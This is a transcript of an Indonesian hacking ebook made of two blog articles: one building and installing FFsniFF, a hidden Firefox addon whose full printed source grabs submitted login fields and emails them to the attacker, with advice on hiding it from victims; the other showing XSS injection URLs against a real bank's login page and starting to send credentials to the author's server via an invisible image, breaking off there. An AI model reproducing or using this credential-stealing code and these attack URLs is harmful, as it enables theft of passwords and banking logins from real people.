Men Gena Lt Eh Nik Hacking

37
MENGENAL TEHNIK – TEHNIK HACKING Ini adalah ebook pengetahuan untuk meningkatkan kemampuan dalam keamanan Jaringan. Generated by Foxit PDF Creator © Foxit Software http://www.foxitsoftware.com For evaluation only.

description

hfhfh

Transcript of Men Gena Lt Eh Nik Hacking

Page 1: Men Gena Lt Eh Nik Hacking

MENGENAL TEHNIK – TEHNIK HACKING

Ini adalah ebook pengetahuan untuk meningkatkan kemampuan dalam keamanan Jaringan.

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 2: Men Gena Lt Eh Nik Hacking

Menjaring Password dengan Firefox Sniffer

February 27th, 2009 By Rizki Wicaksono

Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password pengguna ketika login ke email attacker, addon itu adalah FFsniFF.

Dalam artikel ini saya akan menunjukkan simulasi penyadapan password di browser korban dan mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF dengan membedah source codenya.

Sekilas tentang addon Firefox

Addon firefox adalah program dalam javascript yang diload dan diaktifkan setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal yang tidak disediakan oleh firefox (firefox hanya menyediakan fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di status bar, toolbar atau boleh juga tidak memiliki antarmuka sama sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini harus bersifat stealth.

Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi tersebut ada banyak file dan folder lain seperti source code javascript, gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah paket zippy adalah:

1 2 3 4 5 6 7 8 9 10 11

exampleExt.xpi: /install.rdf /components/* /components/cmdline.js /defaults/ /defaults/preferences/*.js /plugins/* /chrome.manifest /chrome/icons/default/* /chrome/ /chrome/content/

install.rdf adalah deskriptor untuk keperluan instalasi. Selain itu di dalam paket itu juga ada file javascript yang berisi kode program yang menjalankan fungsi addon. Selebihnya adalah file-file untuk menangani user interface addon.

Membuat paket instalasi ffsniff.xpi

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 3: Men Gena Lt Eh Nik Hacking

Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh file sumber FFsniFF dari http://azurit.elbiahosting.sk/ffsniff/. Setelah diunduh, file tar.gz itu harus dimekarkan. Isi dari paket itu setelah dimekarkan adalah:

1 2 3 4 5 6 7 8 9

pkg_creator.py src/ src/install.rdf src/chrome/ src/chrome/content/ src/chrome/content/ffsniff/ src/chrome/content/ffsniff/ffsniffOverlay.xul src/chrome/content/ffsniff/ffsniffOverlay_orig.js src/chrome/content/ffsniff/contents.rdf

File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih berbentuk kumpulan file yang harus diubah dan dibungkus menjadi paket zippy (xpi). Sebenarnya untuk membuat paket zippy sudah disediakan script pkg_creator.py dalam bahasa python, namun dalam artikel ini saya tidak memakai script itu agar saya bisa menunjukkan bagaimana proses pembuatan file xpi dari source code.

Setelah source berhasil didownload, berikutnya saya harus membuat file ffsniffOverlay.js, caranya adalah dengan mengcopy file ffsniffOverlay_orig.js dalam nama ffsniffOverlay.js. Setelah itu ffsniffOverlay.js akan saya edit untuk mengubah beberapa variabel berikut:

1 2 3 4 5 6 7

var send_from_host = "<SEND_FROM_HOST>"; var send_from = "<SEND_FROM>"; var send_to = "<SEND_TO>"; var subject = "<SUBJECT>"; var smtp_host = "<SMTP_HOST>"; var smtp_port = "<SMTP_PORT>"; var enable_hide = "<HIDDING>";

Konfigurasi smtp untuk @ilmuhacking.com

MX record ilmuhacking.com

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 4: Men Gena Lt Eh Nik Hacking

Variabel-variabel tersebut adalah parameter untuk mengirim email melalui smtp. smtp_host berisi alamat smtp server yang dipakai untuk mengirim email. Sebaiknya gunakan smtp server yang bertanggung jawab untuk domain email yang kita tuju, dalam kasus ini domain email tujuan adalah @ilmuhacking.com. Oleh karena itu saya harus mencari smtp server yang bertanggung jawab untuk domain ilmuhacking.com. Cara mencarinya adalah dengan melihat MX record dari DNS ilmuhacking.com. Anda bisa gunakan layanan dnswatch.info untuk mencari MX record ilmuhacking.com. Perhatikan gambar di samping, terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di host yang sama, jadi smtp_host saya isi dengan ilmuhacking.com. Pada domain lain biasanya mail server adalah mail.domainanda.com.

send_from dan send_to saya isi dengan nilai yang sama, yaitu [email protected], alamat itu adalah alamat email asal dan tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam domain yang sama (ilmuhacking.com) karena smtp server umumnya tidak bersedia mengirimkan email ke domain lain (istilahnya open relay) bila pengirim tidak memasukkan password dulu (anonymous).

enable_hide sengaja saya isi “no” untuk kemudahan, dalam kasus nyata variabel ini harus diisi dengan “yes” agar tersembunyi dari daftar addon sehingga tidak membuat korban curiga. Bila anda masih coba-coba, sebaiknya isi dulu dengan “no”.

smtp_port adalah port smtp server, port standar untuk layanan smtp adalah 25. subject adalah subject dari email yang akan berisi password korban.

1 2 3 4 5 6 7

var send_from_host = "ilmuhacking.com"; var send_from = "[email protected]"; var send_to = "[email protected]"; var subject = "Log Firefox Sniffer"; var smtp_host = "ilmuhacking.com"; var smtp_port = "25"; var enable_hide = "no";

Konfigurasi smtp untuk @telkom.net

Agar lebih memahami tentang konfigurasi email ini, saya beri contoh lain dengan email tujuan ke telkom.net.Dengan cara yang sama saya harus membaca MX record dari domain telkom.net, ternyata MX record untuk telkom.net ada 2: mx1.mail.plasa.com dan mx2.mail.plasa.com. Terserah mau pilih yang mana saja. Karena memakai smtp server telkom.net, email tujuan harus berada di domain @telkom.net, di sini saya pakai [email protected]. Alamat asal saya isi sama dengan email tujuan. Ini berarti saya mengirim email dari dan ke email yang sama, itu tidak masalah. send_from_host saya isi dengan telkom.net karena ini adalah domain. Jadi konfigurasi smtp untuk email tujuan @telkom.net adalah sebagai berikut:

1 2 3 4

var send_from_host = "telkom.net"; var send_from = "[email protected]"; var send_to = "[email protected]"; var subject = "Log Firefox Sniffer";

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 5: Men Gena Lt Eh Nik Hacking

5 6 7

var smtp_host = "mx1.mail.plasa.com"; var smtp_port = "25"; var enable_hide = "no";

Membuat file ffsniff.jar

Setelah variabel-variabel di file ffsniffOverlay.js sudah diubah, langkah berikutnya adalah membuat file ffsniff.jar. Walaupun ekstensi filenya adalah jar, sebenarnya ini adalah file zip biasa. File-file yang dimasukkan dalam ffsniff.jar adalah:

content/ffsniff/contents.rdf content/ffsniff/ffsniffOverlay.js content/ffsniff/ffsniffOverlay.xul

Hasil file ffsniff.jar harus mengikutsertakan folder content/ffsniff, tidak boleh 3 file itu dizip tanpa mengikutsertakan foldernya. Jadi untuk membuat file ffsniff.jar harus berada di parent folder dari content/ffsniff. Anda bebas menggunakan program apa saja untuk kompresi zip ini, saya sendiri memakai WinRAR. Ketika dibuka dengan WINRAR isi dari ffsniff.jar tampak seperti gambar di bawah ini, perhatikan kolom pathnya harus berisi seperti itu.

ffsniff.jar list files

Membuat file ffsniff.xpi

Setelah mendapatkan file ffsniff.jar, selanjutnya saya harus membuat paket instalasi ffsniff.xpi. File ini juga file zip biasa, walaupun ekstensinya .xpi. Isi file ffsniff.xpi adalah dua file berikut:

install.rdf chrome/ffsniff.jar

Jangan lupa juga ffsniff.jar harus dizip dalam folder chrome. Gambar di bawah ini menunjukkan ffsniff.xpi yang dibuka dengan winrar, perhatikan juga kolom pathnya harus tepat seperti itu.

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 6: Men Gena Lt Eh Nik Hacking

ffsniff.xpi file list

Instalasi Firefox Sniffer

Oke, kini selesai sudah proses pembuatan file instalasi addon FFsniffer. Kini saya bisa menginstall addon tersebut. Cara instalasi file xpi adalah dengan membuka Firefox, kemudian memasukkan path lokasi file xpi pada addressbar firefox. Setelah muncul daftar file di firefox, klik file xpi yang akan diinstall. Cara instalasi FFsniFF diperlihatkan pada gambar di bawah ini. Setelah berhasil install jangan lupa untuk restart firefox anda.

instalasi firefox sniffer

Mencoba login ke yahoo

Kini saya akan mencoba login ke yahoo dengan username rizkiwicaksono. Setelah login, saya periksa inbox email [email protected]. Ternyata email hasil sniff password ketika login ke yahoo sudah masuk. Isi emailnya terlihat pada gambar di bawah ini.

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 7: Men Gena Lt Eh Nik Hacking

log sniffer email

Dalam email tersebut terlihat bahwa FFsniff tidak hanya mencatat username dan password tapi semua field dengan tag input (input type=”xxx”) dari form, yaitu: password field, hidden field, text field, checkbox. Selain itu FFsniff juga mencatat URL, nama field, jenis dan nilainya. FFsniFF hanya mengirimkan field yang ada isinya, bila field tersebut kosong, field tersebut tidak akan dikirim.

Email Sniffer Log

Mari kita perhatikan email yang dikirimkan FFsniFF. Header lengkap email yang dikirim FFsniff adalah sebagai berikut:

1 2 3 4 5 6 7 8 9

Return-path: <[email protected]> Envelope-to: [email protected] Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600 Received: from [202.43.xxx.xxx] (port=23982 helo=ilmuhacking.com) by gator669.hostgator.com with esmtp (Exim 4.69) (envelope-from <[email protected]>) id 1Lcywa-0002DK-Jj for [email protected]; Fri, 27 Feb 2009 03:23:48 -0600 Subject: Log Firefox Sniffer

Dalam email tersebut hanya ada 1 header Received, yaitu dari host 202.43.xxx.xxx (ip lengkap saya sensor). Hal ini menunjukkan bahwa smtp server yang saya pakai kebetulan adalah smtp server yang paling dekat dengan si penerima sehingga tidak perlu dioper ke smtp server lain. Berikut ini adalah header email FFsniFF yang dikirim ke telkom.net:

Return-Path: <[email protected]> Received: from [125.160.17.193] (HELO mx1.mail.telkom.net) by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9) with ESMTPS id 690188427 for [email protected]; Wed, 04 Mar 2009 11:05:27 +0700 Received: from mx1.mail.plasa.com ([222.124.18.71]) by mx1.mail.telkom.net with esmtp id 1LeiKy-0001qP-O1 for [email protected]; Wed, 04 Mar 2009 11:04:20 +0700

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 8: Men Gena Lt Eh Nik Hacking

X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AggYAH+MrUnKK6ce/2dsb2JhbACBTosbIQGGVoIPsFshAQKSPQEDgSwG X-IronPort-AV: E=McAfee;i="5300,2777,5542"; a="119895912" Received: from xxxxdtp.net.id (HELO telkom.net) ([202.43.xx.xx]) by mx1.mail.plasa.com with ESMTP; 04 Mar 2009 11:02:49 +0700 Subject: Log Firefox Sniffer X-HAM-Check: YES Date: Wed, 04 Mar 2009 11:05:27 +0700 Message-ID: <[email protected]>

Dalam email ke telkom.net ada 3 header Received. Yang pertama adalah mx1.mail.plasa.com, ini adalah smtp server yang saya pakai di FFsniFF. Kemudian dari situ email dioper ke mx1.mail.telkom.net, dan terakhir dioper lagi ke f1.c.plasa.com, yang merupakan smtp server yang paling dekat dengan si penerima. Jadi sebenarnya saya bisa juga langsung mengirim email ke telkom.net dengan menggunakan smtp server f1.c.plasa.com. Namun karena MX record telkom.net menunjuk ke mx1.mail.telkom.net lebih baik saya pakai smtp server itu, walaupun perlu dioper sebanyak 2 kali untuk sampai di tujuan.

FFsniff mengirimkan email tersebut secara anonymous, artinya ffsniff tidak melakukan authentication sebelum mengirimkan email. SMTP server tidak mungkin menolak email yang ditujukan untuk domain yang dikelola dirinya sendiri, walaupun pengirimnya adalah anonymous (tanpa authentication), sebab bila smtp server menolak email untuk dirinya sendiri maka orang lain tidak akan bisa mengirim email ke domain itu.

Karena dikirimkan secara anonymous maka email tersebut tidak bisa ditujukan ke domain lain selain ilmuhacking.com karena smtp server tersebut kemungkinan besar akan menolak dijadikan titik relay pengiriman email ke domain lain. Bila ingin mengirimkan email untuk domain lain tidak bisa secara anonymous, sebelumnya harus memasukkan perintah smtp AUTH LOGIN dan memasukkan username/password dalam base64. Saya tidak akan menjelaskan terlalu panjang soal email, di lain kesempatan akan saya bahas detil cara kerja email.

How FFsniff Works

Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian mendapatkan password ketika ada yang login di firefox yang telah dipasang addon ini. Kini saatnya saya menjelaskan cara kerja FFsniff ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini berisi semua code yang melakukan sniffing. Berikut adalah source code lengkap ffsniffOverlay.js.

1 2 3 4 5 6 7

var transportService = Components.classes["@mozilla.org/network/socket-transport-service;1"].getService(Components.interfaces.nsISocketTransportService); var transport = ""; var outstream = ""; var instream =

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 9: Men Gena Lt Eh Nik Hacking

8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream); var stream = ""; // find out FF version var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo); var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"].getService(Components.interfaces.nsIVersionComparator); var data = ""; var data0 = "EHLO " + send_from_host + "\r\n" var data1 = "MAIL FROM: <" + send_from + ">\r\n" var data2 = "RCPT TO: <" + send_to + ">\r\n" var data3 = "DATA\r\n" var data4 = "\r\n.\r\n" var data5 = "QUIT\r\n" function send_data() { transport = transportService.createTransport(null, 0, smtp_host, smtp_port, null); outstream = transport.openOutputStream(0, 0, 0); stream = transport.openInputStream(0, 0, 0); instream.init(stream); // this will avoid 'Improper use of SMTP command pipelining' // error on SMTP servers outstream.write(data0, data0.length); while (instream.available() == 0) {} instream.read(instream.available()); outstream.write(data1, data1.length); while (instream.available() == 0) {} instream.read(instream.available()); outstream.write(data2, data2.length); while (instream.available() == 0) {} instream.read(instream.available()); outstream.write(data3, data3.length); while (instream.available() == 0) {} instream.read(instream.available()); outstream.write(data, data.length); // don't read here cos no data was send to us //while (instream.available() == 0) {} //instream.read(instream.available()); outstream.write(data4, data4.length); while (instream.available() == 0) {} instream.read(instream.available()); outstream.write(data5, data5.length); while (instream.available() == 0) {} outstream.close(); instream.close();

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 10: Men Gena Lt Eh Nik Hacking

37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64

} if (versionChecker.compare(appInfo.version, "3.0") >= 0) { var workingThread = function() { }; workingThread.prototype = { run: function() { send_data(); } }; } else { var runnable = { run: function() { send_data(); } } } function sniff() { // if we are running under 3.0 or later if (versionChecker.compare(appInfo.version, "3.0") >= 0) { var thread = Components.classes["@mozilla.org/thread-manager;1"].getService().newThread(0); thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL); } else { var thread = Components.classes["@mozilla.org/thread;1"].getService(Components.interfaces.nsIThread); thread.init(runnable, 512*1024, Components.interfaces.nsIThread.PRIORITY_NORMAL, Components.interfaces.nsIThread.SCOPE_LOCAL, Components.interfaces.nsIThread.STATE_UNJOINABLE); } } function do_sniff() { var ok = 0; var hesla = window.content.document.getElementsByTagName("input"); data = ""; for (var i = 0; i < hesla.length; i++) { if (hesla[i].value != "") { if (hesla[i].type == "password") { ok = 1; } if (hesla[i].name == "") { data += hesla[i].type + ":" + "<blank>:" + hesla[i].value + "\n"; } else { data += hesla[i].type + ":" + hesla[i].name +":" + hesla[i].value + "\n"; } } } if (ok == 1) {

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 11: Men Gena Lt Eh Nik Hacking

65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92

data = "Subject: " + subject + "\r\n\r\n" + window.top.content.document.location + "\n" + "type:name:value\n" + "---------------\n" + data; sniff() } } function hide_me() { var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.interfaces.nsIRDFService); var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.interfaces.nsIRDFContainer); var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).datasource; var root = RDFService.GetResource("urn:mozilla:item:root"); var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name"); Container.Init(extensionDS, root); var elements = Container.GetElements(); while (elements.hasMoreElements()) { var element = elements.getNext(); var name = ""; var target = extensionDS.GetTarget(element, nameArc, true); if (target) { name = target.QueryInterface(Components.interfaces.nsIRDFLiteral).Value; if (name == "FFsniFF") { Container.RemoveElement(element, true); } } } } if (enable_hide == "yes") { hide_me(); } window.addEventListener("submit", do_sniff, false);

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 12: Men Gena Lt Eh Nik Hacking

93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 13: Men Gena Lt Eh Nik Hacking

114 115 116 117 118 119 120 121 122 123 124 125 126 127 128

Perhatikan baris ke-127 pada source di atas, bila enable_hide diset “yes”, maka ffsniff akan menjalankan fungsi hide_me(). hide_me() bertugas menghilangkan FFsniff dari daftar addon agar kehadirannya tidak disadari pengguna. Cara menyembunyikan diri adalah dengan cara menjalankan fungsi Container.RemoveElement (baris ke-122) hanya bila element itu bernama “FFsniFF”.

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 14: Men Gena Lt Eh Nik Hacking

how ffsniff works

Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris terakhir, terdapat fungsi addEventListener(). Fungsi ini berguna untuk mengaitkan event submit dengan fungsi do_sniff. Artinya fungsi do_sniff akan dijalankan setiap kali terjadi event submit. Event submit akan terjadi bila ada request POST di browser, antara lain dengan melalui klik tombol bertipe submit (input type=”submit”). Namun tidak hanya melalui klik saja, submit bisa juga dilakukan oleh javascript. Dengan cara apapun, bila terjadi request POST di browser, event submit akan terjadi, dan artinya fungsi do_sniff juga akan dipanggil. Untuk lebih jelasnya perhatikan gambar di atas.

Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam fungsi sniff, ffsniffer mengambil daftar semua tag <input> yang ada dengan fungsi window.content.document.getElementsByTagName(”input”). Kemudian semua field tersebut akan digabung dalam variabel string data. Hanya bila dalam form tersebut terdapat password field (input type=”password”), maka ffsniffer akan mengirimkan email, bila hanya form biasa (bukan form login), ffsniffer tidak akan mengirim email.

Bila mengandung password field, berikutnya fungsi sniff (baris ke-73) akan dijalankan. Fungsi sniff ini tugasnya hanya membuat dan menjalankan thread. Thread tersebut bertugas melakukan pengiriman email dengan memanggil fungsi send_data (baris ke-17). Fungsi send_data akan membuka koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk mengirim email. Dengan menggunakan sniffer Wireshark, berikut adalah komunikasi yang terjadi ketika email dikirim ke telkom.net:

1 2 3 4 5 6 7 8 9 10 11 12 13

220-mx1.mail.plasa.com ESMTP 220 UBE, porn, and abusive content not allowed EHLO telkom.net 250-mx1.mail.plasa.com 250-8BITMIME 250 SIZE 20971520 MAIL FROM: <[email protected]> 250 sender <[email protected]> ok RCPT TO: <[email protected]> 250 recipient <[email protected]> ok DATA 354 go ahead Subject: Log Firefox Sniffer

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 15: Men Gena Lt Eh Nik Hacking

14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34

https://login.yahoo.com/config/login? type:name:value --------------- hidden:.tries:2 hidden:.intl:us hidden:.u:6220o3t4qrv31 hidden:.v:0 hidden:.challenge:Uhh09ZXeYC4rgGkrSkirh.TXeHk_ hidden:hasMsgr:0 hidden:.chkP:Y hidden:.done:http://my.yahoo.com hidden:.pd:_ver=0&c=&ivt=&sg= text:login:rizkiwicaksono password:passwd:inipasswordku checkbox:.persistent:y submit:.save:Sign In . 250 ok: Message 119895912 accepted 221 mx1.mail.plasa.com QUIT

Sedangkan komunikasi yang terjadi ketika email dikirim ke @ilmuhacking.com adalah:

220-gator669.hostgator.com ESMTP Exim 4.69 #1 Tue, 03 Mar 2009 22:15:33 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail. EHLO ilmuhacking.com 250-gator669.hostgator.com Hello ilmuhacking.com [202.43.xxx.xxx] 250-SIZE 52428800 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP MAIL FROM: <[email protected]> 250 OK RCPT TO: <[email protected]> 250 Accepted DATA 354 Enter message, ending with "." on a line by itself Subject: Log Firefox Sniffer https://login.yahoo.com/config/login? type:name:value --------------- hidden:.tries:1 hidden:.intl:us hidden:.u:eljvtc94qs023 hidden:.v:0 hidden:.challenge:7FWzfTnmnC3Njv1YadcWnM61LyIw hidden:hasMsgr:0 hidden:.chkP:Y hidden:.done:http://my.yahoo.com hidden:.pd:_ver=0&c=&ivt=&sg=

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 16: Men Gena Lt Eh Nik Hacking

text:login:rizkiwicaksono password:passwd:inipasswordakujuga checkbox:.persistent:y submit:.save:Sign In . 250 OK id=1LeiW6-0002zu-LA QUIT 221 gator669.hostgator.com closing connection

Dengan selesainya eksekusi send_data() maka ffsniff telah selesai menjalankan tugasnya mengirim email. Selanjutnya ffsniff akan “tidur” menunggu dipanggil oleh event submit dan mulai kembali proses penyadapan password.

Menjaring Password KlikBCA dengan XSS

January 4th, 2009 By Rizki Wicaksono

Sudah baca majalah Underground Info ? Di majalah itu ada artikel yang ditulis oleh S’to tentang XSS di halaman login klikbca.com. Dalam tulisan ini saya bahas lebih jauh lagi dan saya berikan contoh exploit yang cukup berbahaya dari vulnerability yang ditemukan S’to di majalah tersebut.

Maaf artikel ini bukan XSS basics, tentang apa itu XSS nanti saya akan bahas di artikel khusus.

Sebenarnya XSS termasuk bug yang gawat dan susah diantisipasi, namun XSS juga bug yang paling sering diremehkan. Karena berbeda dengan bug lain seperti SQL Injection yang menyerang server, bug ini tidak berpengaruh sama sekali terhadap server. XSS hanya menyerang client, yaitu pengguna web application.

Mungkin mereka berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang tidak secara langsung, namun ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.

The Vulnerability

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 17: Men Gena Lt Eh Nik Hacking

xss bug

Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.

URL ketika password kita salah adalah:

https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)

URL tersebut akan menghasilkan source html sebagai berikut:

<script> var err='User ID harus Alpha Numerik/User ID must be Alpha Numeric' alert(err); iBankForm.action='login.jsp'; iBankForm.submit(); </script>

Perhatikan bahwa setelah var err ditutup dengan karakter kutip (’). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (’). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:

https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=TEST';alert(document.cookie);<!--

URL di atas menghasilkan source html berikut:

1 2 3 4 5 6

<script type="text/javascript"> var err='TEST';alert(document.cookie);<!--' alert(err); iBankForm.action='login.jsp'; iBankForm.submit(); </script>

Proses injeksi tersebut bisa dijelaskan dalam gambar berikut ini (klik gambar untuk lebih detil):

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 18: Men Gena Lt Eh Nik Hacking

Oke saya rasa cukup main-mainnya, saya tidak terlalu suka cookie, saya ingin lebih dari itu, saya ingin username dan password.

Strategy and Tactics

Strategi yang saya pakai untuk mendapatkan username dan password sangatlah sederhana, yaitu dengan mengirimkan password dan username pada saat user meng-klik tombol submit. Untuk bisa menjalankan strategi itu saya menggunakan taktik berikut:

1. Meng-intercept klik tombol submit 2. Mengirimkan user dan password ke server saya 3. Mencatat user dan password di server saya

Intercepting Submit Button

Saya menemukan kendala dalam mengintercept submit button. Kalau kita lihat pada source htmlnya button submit, kita akan temukan bahwa event onclick sudah di-hook untuk fungsi Login_Form_Validator. Setelah saya coba-coba, saya tidak bisa mengubah onclick itu ke fungsi lain.

1 2 3

<input type="Submit" value="LOGIN" name="value(Submit)" onclick="javascript:return Login_Form_Validator(document.frmParam)" onmouseover="this.style.cursor='hand'" />

Fungsi Login_Form_Validator digunakan untuk melakukan validasi awal apakah kita mengisi user dan password sesuai format yang benar.

var blnSubmitted = false; function Login_Form_Validator( theForm ) { document.forms[0]['value(user_id)'].autocomplete = 'off'; document.forms[0]['value(pswd)'].autocomplete = 'off'; var blnResponse = false; if (blnSubmitted) { return false;

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 19: Men Gena Lt Eh Nik Hacking

} var strErrMsg = ""; if( document.forms[0]['value(user_id)'].value == '') { alert("Silakan mengisi User ID anda/Please input your User ID"); document.forms[0]['value(user_id)'].focus(); return false; } if( document.forms[0]['value(user_id)'].value.length>12) { alert("User ID/Password Anda salah / Your User ID/Password is Wrong"); document.forms[0]['value(user_id)'].select(); document.forms[0]['value(user_id)'].focus(); return false; } if(document.forms[0]['value(pswd)'].value == '') { alert("Silakan mengisi PIN anda/Please input your PIN"); document.forms[0]['value(pswd)'].focus(); return false; } if(document.forms[0]['value(pswd)'].value.length<6) { alert("PIN harus 6 Angka/PIN must be 6 digits"); document.forms[0]['value(pswd)'].focus(); return false; } //if(strErrMsg != '') { // alert(strErrMsg); // return false; //} //blnSubmitted = confirm("Click OK to login."); if ( !blnSubmitted ) { blnSubmitted = true; blnResponse = true; } //if('< %= blnLogout %>'=='true') //blnResponse = false; return blnResponse; }

Saya berpikir, bila mengubah onclick button ke fungsi lain tidak bisa, berarti kita harus menimpa fungsi Login_Form_Validator dengan fungsi kita sendiri. Biarkan event onclick button submit mengarah pada Login_Form_Validator, namun fungsi tersebut sudah kita ubah dengan code kita sendiri. Dengan kata lain kita define fungsi dengan nama yang sama, namun isi yang berbeda. Apakah itu akan menimbulkan dualisme fungsi? Iya tentu saja, karena satu fungsi yang sama tidak boleh di-definisikan dua kali.

Setelah saya perhatikan source htmlnya, ternyata saya diuntungkan dengan posisi fungsi Login_Form_Validator yang berada di baris paling bawah. Jadi yang saya lakukan adalah saya definisikan fungsi dengan nama Login_Form_Validator, dan kemudian saya buat

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 20: Men Gena Lt Eh Nik Hacking

browser untuk mengabaikan semua javascript di baris selanjutnya. Dengan cara ini fungsi Login_Form_Validator yang dikenal browser adalah Login_Form_Validator versi saya. Untuk itu saya tambahkan tag <noscript> dan tag awal komentar <! agar javascript pada baris sesudahnya diabaikan browser.

Jadi URL untuk menjalankan taktik saya di atas adalah:

https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--

URL tersebut menghasilkan source html berikut:

<script> var err='TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--' alert(err); iBankForm.action='login.jsp'; iBankForm.submit(); </script>

function overridden

Untuk menguji versi Login_Form_Validator manakah yang dipakai, klik tombol LOGIN tanpa mengisi username dan password. Ternyata yang muncul adalah dialog box “TEST”. Itu berarti fungsi yang berlaku adalah versi saya, HORE! Kalau versi aslinya, muncul peringatan bahwa user dan password harus diisi. Oke taktik pertama sukses. Mari kita Lanjut ke taktik ke-2.

Sending username and password

Oke, sekarang ketika user mengklik submit, code kita akan di-eksekusi. Now what? Selanjutnya tentu saja kita harus membuat code untuk mengirimkan user dan password pada saat user mengklik tombol submit. Untuk bisa mengirimkan data, berarti kita harus membuat browser melakukan request ke server saya. Saya menggunakan image untuk tujuan itu. Lho kok image? Iya karena ketika browser menemukan tag image, saat itu

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 21: Men Gena Lt Eh Nik Hacking

juga browser akan melakukan request GET ke server tempat image itu berada sesuai isi atribut SRC. Namun hal yang lebih penting lagi adalah, bila kita ubah atribut src dari object image dengan javascript, maka browser akan mengirimkan request GET sekali lagi. Request ini yang lebih penting, bukan request GET image pertama ketika halaman diload.

Saya definisikan tag image dengan dimensi 1×1 agar invisible, dengan nama myimage sebagai berikut:

<img src="http://www.ilmuhacking.com/testcapture.php" name="myimage" width="1" height="1">

Sedangkan variabel yang berisi username dan password adalah:

document.forms[0]['value(user_id)'].value document.forms[0]['value(pswd)'].value

